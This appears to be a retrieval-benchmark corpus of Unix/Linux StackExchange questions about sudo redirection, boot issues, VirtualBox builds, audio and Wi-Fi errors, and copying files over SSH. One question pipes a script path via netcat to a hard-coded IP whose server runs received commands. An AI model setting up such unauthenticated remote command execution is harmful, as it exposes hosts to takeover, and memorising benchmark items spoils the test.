root. So, I would like to know how to improve this to facilitate my job. Regards and thanks."} {"_id": "4830", "title": "How do I use redirection with sudo", "text": "> **Possible Duplicate:** > Redirecting stdout to a file you don't have write permission on Yeah I could (and probably will) just escalate to root, but I'd like to know why this doesn't work? sudo cat .mplayer/config >> /home/griff/.mplayer/config zsh: permission denied: /home/griff/.mplayer/config `sudo` is configured to be able to run any command, I've placed no restrictions on it."} {"_id": "106663", "title": "How do you process an entire command as sudo that involves redirecting or piping?", "text": "I am trying to follow what I assume is best practises of using sudo instead of root account. I am running a simple concat file operation such as: sudo echo 'clock_hctosys=\"YES\"' >> /etc/conf.d/hwclock This fails as to the right of the \">>\" it is running as the normal user. Adding extra sudos also fails (expected behaviour since piping to the sudo command and not to the file). Example is just that but it has been verified and tested under the root account."} {"_id": "42812", "title": "Can't add swap file on solaris", "text": "I'm trying to add a swap file on Solaris 10. I have already created a 2GB file `swap.file`. Then, I add a swap file with the command: swap -a /swap.file which shows an error: > /swap.file: size is invalid What am I doing wrong?"} {"_id": "42818", "title": "How to disable timeout of password prompt for partition decryption during boot?", "text": "I have a computer running OpenSUSE 12.1, 64-bit, default install. How it works currently: 1. I turn on the computer 2. It goes through the boot process 3. At some point during boot, I am asked for password to decrypt an encrypted partition The problem is there is a timeout on this prompt, so I have to sit next to computer and pay attention to what is going on. How can I disable that timer, so I could for example turn the computer on and go away, and then return after 1 hour and still see this prompt?"} {"_id": "85673", "title": "Non-ASCII characters handled incorrectly on command line", "text": "I have a problem with non-ASCII characters in the Terminal on Mac. If I write: echo \u00c6\u00d8\u00c5 Then press Enter, Arrow Up, Arrow Left, so the cursor is between the \u00d8 and the \u00c5, then write X, then the \u00c5 is converted to ?, and if I press Enter, the following is echoed: \u00c6\u00d8?X? Pressing `Ctrl`+`A` and `Ctrl`+`E` with non-ASCII characters entered also causes a mess. My settings are as follows: ~/.profile: export LC_ALL=\"nb_NO.UTF-8\" ~/.inputrc: set input-meta on set output-meta on set convert-meta off Terminal > Settings > Advanced > Declare terminal as: xterm Unsetting `LC_ALL` has no effect. Changing the `.inputrc` settings just seems to make things worse. I really hope someone has the answer to this."} {"_id": "85674", "title": "Ubuntu 13.04 on Acer x64 PC, only boots after starting recovery", "text": "I have this strange problem with my Acer E1 421. First of all it's important to say that **I've upgraded this laptop's memory to 8gb RAM instead of 2**. I decided to remove Windows 7 x64, and install Ubuntu, because I just hate Windows. The problem is, the install went all fine, but when I try to boot my laptop, this happens in order: * Boot laptop * Gets past BIOS Diagnostics * I see the purple Ubuntu thing * Screen goes black and stays that way until I press the Power off button * Boot laptop again * Gets past BIOS Diagnostics * I get an Ubuntu screen where I can choose Boot Normal/Recovery/... * I press Recovery * I don't do anything, simply click \"Continue to Normal boot\" * It works Why do I always have to boot it up once, go through the whole recovery without actually doing anything, to get it booted? I'm using the GRUB bootloader."} {"_id": "128144", "title": "Bus Error when run php-cgi", "text": "This is what I got when I run command \"strace /usr/bin/php-cgi -v\" execve(\"/usr/bin/php-cgi\", [\"/usr/bin/php-cgi\", \"-v\"], [/* 39 vars */]) = 0 brk(0) = 0x11e4000 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x77bd1000 uname({sys=\"Linux\", node=\"ShanghaiDacGW\", ...}) = 0 access(\"/etc/ld.so.nohwcap\", F_OK) = -1 ENOENT (No such file or directory) access(\"/etc/ld.so.preload\", R_OK) = -1 ENOENT (No such file or directory) open(\"/etc/ld.so.cache\", O_RDONLY) = 3 ... rt_sigaction(SIGPIPE, {0x10000000, [RT_69 RT_77 RT_78 RT_80 RT_81 RT_83 RT_84 RT_85 RT_86 RT_88 RT_89 RT_90 RT_91 RT_93 RT_94], SA_NOCLDSTOP}, {SIG_DFL, [], 0}, 16) = 0 --- SIGBUS (Bus error) @ 0 (0) --- +++ killed by SIGBUS +++ Bus error Any idea?"} {"_id": "5058", "title": "Guest Additions in VirtualBox", "text": "I'm setting up a development server with VirtualBox. I've installed Ubuntu 10.10 Server. I want to use filesharing to setup the files that I need to develop on but it seems that the CD drive is not mounting to install the Virtualbox guest additions. How can I configure this to setup the file sharing."} {"_id": "5054", "title": "Gnome - windows always open top left", "text": "I find this a highly annoying \"feature\" on a wide screen monitor that my mostly used apps - terminal and gedit always open directly under the top-left corner of my screen and I have to drag them to my eye position each and every- time. I have tried installing the CompizConfig Settings Manager and using the feature to position windows centre, but this has had no effect - the force feature here isn't working for me either: Window Management -> \"place windows\" -> Fixed Window Placement -> Windows with fixed positions example: gedit 200 200 keep-in-work-area-to-yes I can use e.g. gnome-terminal --geometry=140x50+50+50 for the terminal but this doesn't work for gedit. Any ideas? Thanks"} {"_id": "5055", "title": "Execute a file in an application based on the file's extension in bash", "text": "After reading this answer about a zsh feature: > If a given extension has a suffix alias, you can execute a file with that > extention directly, and ZSH will launch the given program and pass the > filename as an argument. Is there something similar to bash? That is, if a given file has an extension, how to directly execute that file, automatically launching a program just by calling the file's name? So doing > program /path/to/foo.ext > > /path/to/foo.ext would equivalent to the same zsh feature? Is this feature available in newer versions of bash?"} {"_id": "5056", "title": "cursor position after pasting in vi / vim", "text": "One thing that has always bothered me in _vi / vim_ : If I \"yank\" (a.k.a. \"copy\") some text, then move to another place in the file and do a \"paste\", my cursor remains at the **beginning** of the text I just pasted. This is different from what most modern editors do, which is put the cursor at the **end** of the text I pasted. For example, assuming the \"copy buffer\" contains the word \"awesome\" which I want to paste after the word \"an\" in the phrase: This is an editor In, for example _gedit_ , after the paste: This is an awesome editor ^ Cursor is here In _vi_ : This is an awesome editor ^ Cursor is here Can I change _vi_ to act like (for example) _gedit_ in this regard?"} {"_id": "5057", "title": "What would cause \"crossover\" between two USB2 webcams when using motion?", "text": "I am using the Motion package for linux to act as a security system with two Microsoft LifeCam HD-5000 webcams. In general it's working very well but I'm experiencing a weird issue. Every now and then the feed from one cam will exhibit \"crosstalk\" or \"crossover\" from the other cam, in sweeping bars, best described in this image (highlighted in red): ![WTF?](http://i.stack.imgur.com/yBnHJ.png) As you can see, the image is a mixed mess of the inside and the outside camera feeds. I believe this article from Motion's wiki is describing the same issue, however there is no solution there besides: > If you need more than 1 USB camera add extra USB PCI cards to your computer However that is talking about USB 1.1, and these are USB 2.0 cameras. Also, I do believe this system has two UCB cards and that the cameras are connected to two different USB busses: root@chef:~# lsusb -t /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=ehci_hcd/2p, 480M |__ Port 1: Dev 2, If 0, Class=hub, Driver=hub/8p, 480M |__ Port 2: Dev 3, If 0, Class=stor., Driver=usbfs, 480M |__ Port 3: Dev 4, If 0, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M |__ Port 3: Dev 4, If 1, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M |__ Port 3: Dev 4, If 2, Class=audio, Driver=snd-usb-audio, 480M |__ Port 3: Dev 4, If 3, Class=audio, Driver=snd-usb-audio, 480M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci_hcd/2p, 480M |__ Port 1: Dev 2, If 0, Class=hub, Driver=hub/6p, 480M |__ Port 2: Dev 3, If 0, Class=HID, Driver=usbhid, 12M |__ Port 3: Dev 4, If 0, Class=HID, Driver=usbhid, 1.5M |__ Port 4: Dev 5, If 0, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M |__ Port 4: Dev 5, If 1, Class='bInterfaceClass 0x0e not yet handled', Driver=uvcvideo, 480M |__ Port 4: Dev 5, If 2, Class=audio, Driver=snd-usb-audio, 480M |__ Port 4: Dev 5, If 3, Class=audio, Driver=snd-usb-audio, 480M root@chef:~# lspci 00:00.0 Host bridge: Intel Corporation Core Processor DRAM Controller (rev 12) 00:02.0 VGA compatible controller: Intel Corporation Core Processor Integrated Graphics Controller (rev 12) 00:16.0 Communication controller: Intel Corporation 5 Series/3400 Series Chipset HECI Controller (rev 06) 00:1a.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06) 00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio (rev 06) 00:1c.0 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 1 (rev 06) 00:1c.5 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 6 (rev 06) 00:1d.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06) 00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev a6) 00:1f.0 ISA bridge: Intel Corporation 5 Series Chipset LPC Interface Controller (rev 06) 00:1f.2 IDE interface: Intel Corporation 5 Series/3400 Series Chipset 4 port SATA IDE Controller (rev 06) 00:1f.3 SMBus: Intel Corporation 5 Series/3400 Series Chipset SMBus Controller (rev 06) 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 01) 02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM57788 Gigabit Ethernet PCIe (rev 01) So my questions are: 1. Does anyone know what could cause crossover like this? 2. Any other troubleshooting suggestions? 3. I am guessing I will need to ask the developers of Motion for support, so before I do, can anyone confirm that I do have the cameras connected to two different PCI cards as they suggested?"} {"_id": "5050", "title": "Can someone diagnose this JACK error message?", "text": "OK. I start JACK without starting the JACK server. I get: 23:09:22.730 Patchbay deactivated. 23:09:22.765 Statistics reset. Cannot connect to server socket err = No such file or directory Cannot connect to server socket jack server is not running or cannot be started 23:09:23.059 ALSA connection graph change. 23:09:23.250 ALSA connection change. Then I press the 'play' button. I get: 23:10:07.865 Startup script... 23:10:07.866 artsshell -q terminate Cannot connect to server socket err = No such file or directory Cannot connect to server socket jack server is not running or cannot be started sh: artsshell: not found 23:10:08.268 Startup script terminated with exit status=32512. 23:10:08.268 JACK is starting... 23:10:08.269 /usr/bin/jackd -dalsa -dhw:0 -r44100 -p1024 -n2 23:10:08.275 JACK was started with PID=1764. Cannot create thread 1 Operation not permitted Cannot create thread 1 Operation not permitted jackdmp 1.9.6 Copyright 2001-2005 Paul Davis and others. Copyright 2004-2010 Grame. jackdmp comes with ABSOLUTELY NO WARRANTY This is free software, and you are welcome to redistribute it under certain conditions; see the file COPYING for details JACK server starting in realtime mode with priority 10 Cannot lock down memory area (Cannot allocate memory) audio_reservation_init Acquire audio card Audio0 creating alsa driver ... hw:0|hw:0|1024|2|44100|0|0|nomon|swmeter|-|32bit Using ALSA driver HDA-Intel running on card 0 - HDA Intel at 0xdfebc000 irq 42 configuring for 44100Hz, period = 1024 frames (23.2 ms), buffer = 2 periods ALSA: final selected sample format for capture: 32bit integer little-endian ALSA: use 2 periods for capture ALSA: final selected sample format for playback: 32bit integer little-endian ALSA: use 2 periods for playback Cannot use real-time scheduling (RR/10)(1: Operation not permitted) AcquireSelfRealTime error alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle 23:10:15.341 Could not connect to JACK server as client. - Overall operation failed. - Server communication error. If I press nothing, the above read error message repeats infinitely. I installed JACK from repositories and this is what I got."} {"_id": "5053", "title": "Wireless card won't connect right away", "text": "I have a netgear wg311 wireless card on my Debian machine. I have it connected using wpa_supplicant. When I type this. wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -Dwext I get this TRL-EVENT-SCAN-RESULTS CTRL-EVENT-SCAN-RESULTS Trying to associate with 68:7f:74:47:50:96 (SSID='BigGiraffe' freq=2462 MHz) Associated with 68:7f:74:47:50:96 WPA: Key negotiation completed with 68:7f:74:47:50:96 [PTK=CCMP GTK=TKIP] CTRL-EVENT-CONNECTED - Connection to 68:7f:74:47:50:96 completed (auth) [id=0 id_str=] \u2013 but the connection doesn't work for 5-10 minutes. Anyone know what might be causing this? /etc/network/interfaces iface wlan0 inet dhcp wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf wpa-driver wext wpa-key-mgmt WPA-PSK wpa-proto WPA wpa-ssid BigGiraffe iface default inet dhcp auto wlan0 error message on startup wpa_supplicant: wpa-roam can only be used with the \"manual\" inet METHOD, run parts /etc/network/if-pre-up.d/wpa_supplicant exited with return code 1. and it trys to DHCP DISCOVER 255.255.255.255 at 6 different ports."} {"_id": "64906", "title": "\"Fake\" DNS for a single host", "text": "I am running a bind9 dns server at my home network, serving for all my internal servers in my domain local / 192.168.x.x - one of those, extweb.local 192.168.1.33 is also visible from the internet as home.sickel.net (well, not exactly, but you get the idea) Is it possible to set up my internal dns so that it resolvs home.sickel.net as 192.168.1.33? All other hosts on sickel.net are run externally and should not be resolved by my internal dns. (All this mainly to make things easier for the rest of the family, so that they always can refer to the server as home.sickel.net no matter if they are at home or accessing it through the www) All the servers on my home network runs debian. They are all in the same subnet, connected through a single gateway to the internet."} {"_id": "134093", "title": "Why aren't crontabs stored in user home directories?", "text": "I'm curious to know: why are crontabs stored in /var rather than in the user's home directories? It makes it a total pain to isolate these files for upgrades but I suspect that there is a logical reason..."} {"_id": "134092", "title": "Virtualbox installation", "text": "I'm trying to install virtualbox. But when I run dpkg -i {dpkg package} I get following error: sudo dpkg -i virtualbox-4.1_4.1.18-78361~Ubuntu~precise_amd64.deb Selecting previously unselected package virtualbox-4.1. (Reading database ... 245018 files and directories currently installed.) Unpacking virtualbox-4.1 (from virtualbox-4.1_4.1.18-78361~Ubuntu~precise_amd64.deb) ... Setting up virtualbox-4.1 (4.1.18-78361~Ubuntu~precise) ... Adding group `vboxusers' (GID 124) ... Done. * Stopping VirtualBox kernel modules [ OK ] * Uninstalling old VirtualBox DKMS kernel modules [ OK ] * Trying to register the VirtualBox kernel modules using DKMS Error! Bad return status for module build on kernel: 3.11.0-12-generic (x86_64) Consult /var/lib/dkms/vboxhost/4.1.18/build/make.log for more information. * Failed, trying without DKMS * Recompiling VirtualBox kernel modules * Look at /var/log/vbox-install.log to find out what went wrong In vbox-installation.log I have this: CC [M] /var/lib/dkms/vboxhost/4.1.18/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.o /var/lib/dkms/vboxhost/4.1.18/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c: In function \u2018rtR0MemObjNativeMapUser\u2019: /var/lib/dkms/vboxhost/4.1.18/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1451:38: error: \u2018VM_RESERVED\u2019 undeclared (first use in this function) vma->vm_flags |= VM_RESERVED; /* This flag helps making 100% sure some bad stuff wont happen (swap, core, ++). */ ^ /var/lib/dkms/vboxhost/4.1.18/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1451:38: note: each undeclared identifier is reported only once for each function it appears in make[2]: *** [/var/lib/dkms/vboxhost/4.1.18/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.o] Error 1 make[1]: *** [/var/lib/dkms/vboxhost/4.1.18/build/vboxdrv] Error 2 make: *** [_module_/var/lib/dkms/vboxhost/4.1.18/build] Error 2 make: Leaving directory `/usr/src/linux-headers-3.11.0-12-generic' I did sudo apt-get install build-essential linux-headers-`uname -r` but the problem still exist. Thanks for all answers"} {"_id": "134096", "title": "Are dropbear and OpenSSH host keys compatible?", "text": "The title basically says it all. But mind: **host key** , not the login key. And if they're not compatible out of the box, is there a way to convert between them - and what would be the steps in that case? Rationale: it would be nice to be able to bring up a dropbear instance in the scope of the initrd, if boot fails, but do so by incorporating the host keys (via initramfs-tools hooks) from OpenSSH that is normally installed on the host."} {"_id": "38560", "title": "GPU usage monitoring (CUDA)", "text": "I installed CUDA toolkit on my computer and started BOINC project on GPU. In BOINC I can see that it is running on GPU, but is there a tool that can show me more details about that what is running on GPU - GPU usage and memory usage?"} {"_id": "38563", "title": "What are the URIs starting with file:// or application://?", "text": "Using Linux, I have more than once seen URIs of files and applications starting with `file://` and `application://`. What are those URIs and how to use them?"} {"_id": "38562", "title": "Illustrate the difference of two squares via the command line", "text": "So, after 10 years of wanting to study the book that Ramanujan relied upon for a lot of his early strides in mathematics, it's 2012, and the book is finally online. To celebrate, I want to go through each of the propositions using my command line, finding a way to interact with each one. In `octave` syntax, first one is `a^2 - b^2 = (a-b) * (a+b)` That's familiar from algebra, of course. For now, I just want to be able to make a picture of this difference of squares. I've looked at gnuplot, and it doesn't seem to be designed to do simple geometric shapes. NB: I don't want to plot the function `f(x, y) = x^2 - y^2`. I want to draw two squares of a given size in different colors, one inside the other, to illustrate the difference of squares graphically. What I'd like to be able to do is type something like $plotsquare --center origin --colors=black,gray black=8x8 gray=3x3 -q -o plot.png 'black' being an 8x8 square, 9 being a 9x9 square; the gray square inside the black square illustrates the difference of squares. Does anything like that exist?"} {"_id": "2857", "title": "SSH easily copy file to local system", "text": "If I'm logged in to a system via SSH, is there a way to copy a file back to my local system without firing up another terminal or screen session and doing scp or something similar or without doing SSH from the remote system back to the local system?"} {"_id": "126186", "title": "scp to Local Machine After SSHing", "text": "From my local machine I can copy files from a remote machine scp remote:/some/file/path ~ But what if I'm already SSHed into the remote machine? Can I do something like this ssh remote cd /some/file scp path local:~ where `local` somehow resolves to the machine I SSHed _from_. This would of course be possible if the local machine is running an SSH server and the remote is configured to connect to it, but that isn't always an option. Is something like this possible?"} {"_id": "25566", "title": "Copy file over existing SSH session?", "text": "> **Possible Duplicate:** > SSH easily copy file to local system Let's give the following example: > I've connected to `ssh user@myserver.com`. > I need to copy a local file over to the remote server, without exiting SSH. Is this possible? I know I could suspend the process via `Ctrl`+`Z`, `scp` the file, then `fg` the SSH process back to the foreground, but is there a way to do this from within an active SSH session without leaving it?"} {"_id": "84292", "title": "Is it possible to download to files while in a SSH interactive?", "text": "Here I am, poking around a remote server via SSH, and I want to find out about/read/edit/whatever a file. I don't like `vi` or other CMI stuff, I want to read it locally. Is there any way I can download it without exiting my interactive SSH session? (Even better, would there be any way to run local commands without exiting it?)"} {"_id": "105203", "title": "Download a file from a remote machine while SSH'd into it?", "text": "It often happens that I'm SSH'd into another machine and I'd like to download a file onto my local machine without having to open a new terminal and scp. For example, something like this: local $ ssh remote remote $ ls remote_file remote $ download remote_file \u2026 remote $ ^D local $ ls remote_file Is there any way \u2014 even a terrible hack \u2014 to let me download a file while I'm SSH'd into the remote host, without using SCP? I'd considered playing some tricks with, ex, `$SSH_CLIENT`, but that won't work when my local machine is behind a NAT (which is basically all the time)."} {"_id": "34786", "title": "Is it possible to download a file locally when I've already ssh'ed into a remote computer?", "text": "> **Possible Duplicate:** > SSH easily copy file to local system Most of the remote download commands seem to involve commands like scp, which are usually used without ssh'ing first (if I recall correctly). I'd prefer a route that's as frictionless as possible."} {"_id": "106480", "title": "How to copy files from one machine to another using ssh", "text": "I'm using Linux (centos) machine, I already connected to the other system using `ssh`. Now my question is how can I copy files from one system to another system? Suppose, in my environment, I have two system like `System A` and `System B`. I'm using `System A` machine and some other using `System B` machine. I'm connected to `System B` machine. How can I copy a file from `System B` to `System A`?"} {"_id": "38566", "title": "Gnome-sound-applet not detecting sound card", "text": "Everything was working until today, the gnome-sound-applet does not detect any sound card. Alsamixer however is working and I can change volume. I noticed that pulseaudio is not running and that start-pulseaudio-x11 gives me an error : E: [pulseaudio] main.c: Daemon startup failed. and lspci|grep Audio gives 00:08.0 Audio device: NVIDIA Corporation MCP79 High Definition Audio (rev b1) Any idea ?"} {"_id": "111876", "title": "Extracting parts of filename", "text": "I'm trying to use a part of the file name to be inserted into a new file created using the script. For eg: `dcn_2014_01_31_14_17_45_505.pcap` and `dcn_2014_01_31_14_32_27_656.pcap` should give `2014_0131_1417_to_1432_utc.pcap`. I can get it up to `dcn_2014_01_31_14_17_45_505_to_dcn_2014_01_31_14_32_27_656.pcap` . How do I select each number so as to get the desired output? I have used the following script: TAG1=$(basename ${FILES[0]} | sed 's/.pcap//') TAG2=$(basename ${FILES[$N-1]} | sed 's/.pcap//') #merge the files mergecap -w /mnt/md0/capture/DCN/\"${TAG1}_to_${TAG2}\".pcap ${FILES[@]} Where FILES[] is an array of 15 files."} {"_id": "131977", "title": "IMAP folders: how big is too big?", "text": "I've switched from using Thunderbird to `offlineimap` and `mutt`. My mailboxes have over 50k messages. After tweaking some settings, `mutt` is very responsive with this many messages. `notmuch` is extremely fast for searches. But `offlineimap` can take several minutes to sync all the folders. After a little research, it appears that IMAP was not intended for use with very large folders. If that's the case, then what kind of emal workflow should I be using to keep folders smaller?"} {"_id": "123711", "title": "How do I recover from the Heartbleed bug in OpenSSL?", "text": "CVE-2014-0160 a.k.a. Heartbleed is a vulnerability in OpenSSL. It looks scary. How do I determine whether I am affected? If I'm affected, what do I need to do? Apparently upgrading isn't enough."} {"_id": "18890", "title": "Can ssh return directory list?", "text": "I have ssh access to other Suse box and I want to list particular directory on the suse box. It will be done from other suse box. I will run this from php later on. Is something like that possible?"} {"_id": "18897", "title": "Problem while running \"newgrp\" command in script", "text": "I want to change the working group in my script. So I wrote a line `newgrp test_grp1` in my script. But my script is automatically exited after running this line. Are there any solution to overcome this problem? #/bin/ksh ... newgrp test_grp1 ... **Note:** I am using Unix AIX OS."} {"_id": "18896", "title": "How to use a custom crypto algorithm in ipsec?", "text": "I wrote a custom algorithm using the kernel crypto API (by modifying the existing SHA1 and DES algorithms), compiled and added the .KO object to kernel. How can I use my algorithm in `ipsec` and other app that use cryptographic communication?"} {"_id": "18895", "title": "How to stop python from looking for .py files", "text": "I have a system with very little resources (embedded). Because of that I only installed the python .pyo files (=byte compiled & optimized) for my program. Now when such a program runs, python keeps looking for .py files (probably to see if the .pyo needs to be updated). The funny thing is that it does that a lot: 25000 stat64() calls (and 8304 getcwd calls()) in 5 minutes! getcwd(\"/tmp\", 1026) = 9 getcwd(\"/tmp\", 1026) = 9 stat64(\"MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python2.5/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python25.zip/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python2.5/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python2.5/plat-linux2/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python2.5/lib-tk/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"/usr/local/lib/python2.5/lib-dynload/MyProgram.py\", 0xbeb94b0c) = -1 ENOENT (No such file or directory) stat64(\"MyProgram.py\", 0xbeb94cc8) = -1 ENOENT (No such file or directory) getcwd(\"/tmp\", 1026) = 9 stat64(\"MyProgram.py\", 0xbeb94bc4) = -1 ENOENT (No such file or directory) How can I prevent python from doing this?"} {"_id": "18899", "title": "When would you use an additional file descriptor?", "text": "I know you can create a file descriptor and redirect output to it. e.g. exec 3<> /tmp/foo # open fd 3. echo a >&3 # write to it exec 3>&- # close fd 3. But you can do the same thing without the file descriptor: FILE=/tmp/foo echo a > \"$FILE\" I'm looking for a good example of when you would have to use an additional file descriptor."} {"_id": "69177", "title": "LXC: How can I mount a drive/directory without restarting the container?", "text": "If I configure LXC's fstab and restart, there's no problem with the mount, but do I have to restart?"} {"_id": "4569", "title": "Storing output of command in shell variable", "text": "I have an operation using `cut` that I would like to assign result to a variable var4=echo ztemp.xml |cut -f1 -d '.' I get the error: > ztemp.xml is not a command The value of `var4` never gets assigned; I'm trying to assign it the output of: echo ztemp.xml | cut -f1 -d '.' How can I do that?"} {"_id": "111535", "title": "curl command output in a variable", "text": "I am connecting to mySQL database using a shell script. After connecting to the mySQL database, I execute a query. The query gives me 300,000 URLs as the result. For each of the 300,000 URLs I need to check if the URLs actually exist and need to update the table that the URL is checked for its existence. I have planned on using the curl command. I am giving the command as below. curl -s --head http://myurl/ | head -n 1 | grep \"HTTP/1.[01] [23]..\" If I just give the command in my shell, I am getting the response (like 301, 200 etc). However, I need it in a variable so that I can use it for some manipulation purposes. For example, like below. $var = curl -s --head http://myurl/ | head -n 1 | grep \"HTTP/1.[01] [23]..\" echo $var; if ($var == \"some value\") { do something; } else { do some other thing; }"} {"_id": "70406", "title": "How to put value of echo pipe netcat commands into variable", "text": "I have this command succession: echo -ne \"/dev/shm/test.sh\" | netcat 89.196.167.2 4567 and let's say it return a string like, for example \"Hello...bla\". (on the 89.196.167.2 i have made a server that takes ssh comands and executes them and returns the result to the client, and it is running ok, it return what i need, so this is not the problem) I want to put this returned value, \"Hello...bla\", into a variable and use it. If i try this: var=echo -ne \"/dev/shm/test.sh\" | netcat 89.196.167.2 4567;echo \"$var\" it doesn't work... Bash returns this: -bash: -ne: command not found Can you please help me with a solution?"} {"_id": "82511", "title": "Read the output of a command into a variable", "text": "I am making a bash script but I'm totally new and got lost. I've made this code cat * | grep \"|*parameter1*|\" | grep \"|*parameter2*|\" | cut -f 8,11,12,15,21,23,34 -d \"|\" | wc -l which works just fine, but I need to read the `wc -l` output into a variable so I can make an average after that with another bash command. Then, print out that average and make it readable to the user."} {"_id": "25970", "title": "How to put a command's result into a variable?", "text": "> **Possible Duplicate:** > Storing output of command in shell variable Can anyone advise please how can I put the result of `jps | awk '$2~/Bootstrap/{print $1}'` into a variable so that I can use with other commands?"} {"_id": "16024", "title": "How can I assign the result of a command to a shell variable?", "text": "I want to assign the result of an expression to a variable and concatenate it with a string, then echo it. Here's what I've got: #!/bin/bash cd ~/Desktop; thefile= ls -t -U | grep -m 1 \"Screen Shot\"; echo \"Most recent screenshot is: \"$thefile; But, that outputs: Screen Shot 2011-07-03 at 1.55.43 PM.png Most recent screenshot is: So, it looks like that isn't getting assigned to $thefile, and is being printed as it's executed. **I'm rather new to this; I'm sure I'm just missing something basic.** Thanks for your patience!"} {"_id": "122011", "title": "How to install Kali linux on to a specific (existing) partition on a USB stick", "text": "I'm endeavoring to put Kali linux onto a USB stick - I know it's already written up, but I'd like to use only a portion of the total space (the aforementioned link will use the entire drive space). Let's have my 16GB usb stick mounted as sdb ... the goal is: 16 GB total, split like this... ---------------------------- | 11 | 01 | 04 | (GB) ---------------------------- sdb1 sdb2 sdb3 (partition ID) FAT32 FAT32 FAT32 (format) storage fatdog kalipart (label) * sdb1 is FAT32 and the main storage area (so that [windows can see it][2] along with any other OSes) * sdb2 is bootable and has Fatdog64 (6.3.0) and Precise Puppy (5.7.1) installed (multi-booting from one syslinux menu) * sdb3 is the target partition for Kali to use The objective is to multi-boot Fatdog64, Puppy, and Kali linux. Currently, sdb2 is bootable (syslinux) and successfully passes to Fatdog and Puppy, both on sdb2. Next I'd like to add chainloading to Kali on sdb3. It seems to me that the best way to do that is to load GRUB4DOS from syslinux (both on sdb2), map sdb3 and chainload to sdb3 from GRUB4DOS. So I ask: How do I install Kali onto an existing partition on this USB stick? Other options: * Install live Kali onto the USB stick/partition from the Kali distro itself - but this doesn't seem to be an option the same way it is with Fatdog/Puppy/Ubuntu * Boot direclty to sdb3, chainloading to sdb2 if necessary (not preferred, but an option) > Update: > > 1. I have tried copying the files from a mounted iso to sdb3 using > Fatdog64 and noticed several errors, mostly in copying the firmware files. > Here's two examples: > > > Copying /mnt/+mnt+sda1+isos+kali-linux-1+0+6-i286+kali- > linux-1+0+6-i286+iso/firmware/amd64/microcode_1.20120910-2_i386.deb as > /mnt/sda3/firmware/amd64-microcode_1.20120910-2_i286.deb > ERROR: Operation not permitted > Copying /mnt/+mnt+sda1+isos+kali-linux-1+0+6-i286+kali- > linux-1+0+6-i286+iso/debian as /mnt/sda3/debian > ERROR: Operation not permitted > > > These errors look like permissions errors, but I can't tell if they affect > booting or not (I can troubleshoot other errors later, I'd prefer to keep > this question to just multi-boot). > > 2. I'm chainloading GRUB4DOS from the SYSLINUX installed by default via > Fatdog64 ... > > > label grub4dos > menu label grub4dos > boot /boot/grub/grldr > text help > Load grub4dos via grldr (in /boot/grub) > endtext > > > ... and then once in GRUB4DOS, I have successfully chainloaded GRUB2 (on the > kali partition) ... > > > title Load GRUB2 inside of kali > find --set-root /g2ldr.mbr > chainloader /g2ldr.mbr > > > ... but all this gives me is a `grub>` prompt, and I haven't figured out any > proper combinations of GRUB4DOS commands to load GRUB2 with a GRUB2 config > file - and to add to the confusion, I thought the live CD iso of Kali ran on > syslinux. (@jasonwryan @user63921) > >"} {"_id": "87298", "title": "Linux: How to check whether a process is slowed down by other running processes", "text": "I have one process running on a RHEL 6.3 machine. Somehow this is taking a longer processing time than the same process running on another machine. How is it possible to know why this process is running slow or if any other parallel running process is slowing down this process?"} {"_id": "124358", "title": "Hit \"sasl_decode error=-1\" while sending mail via sendmail server on RHEL", "text": "Having installed 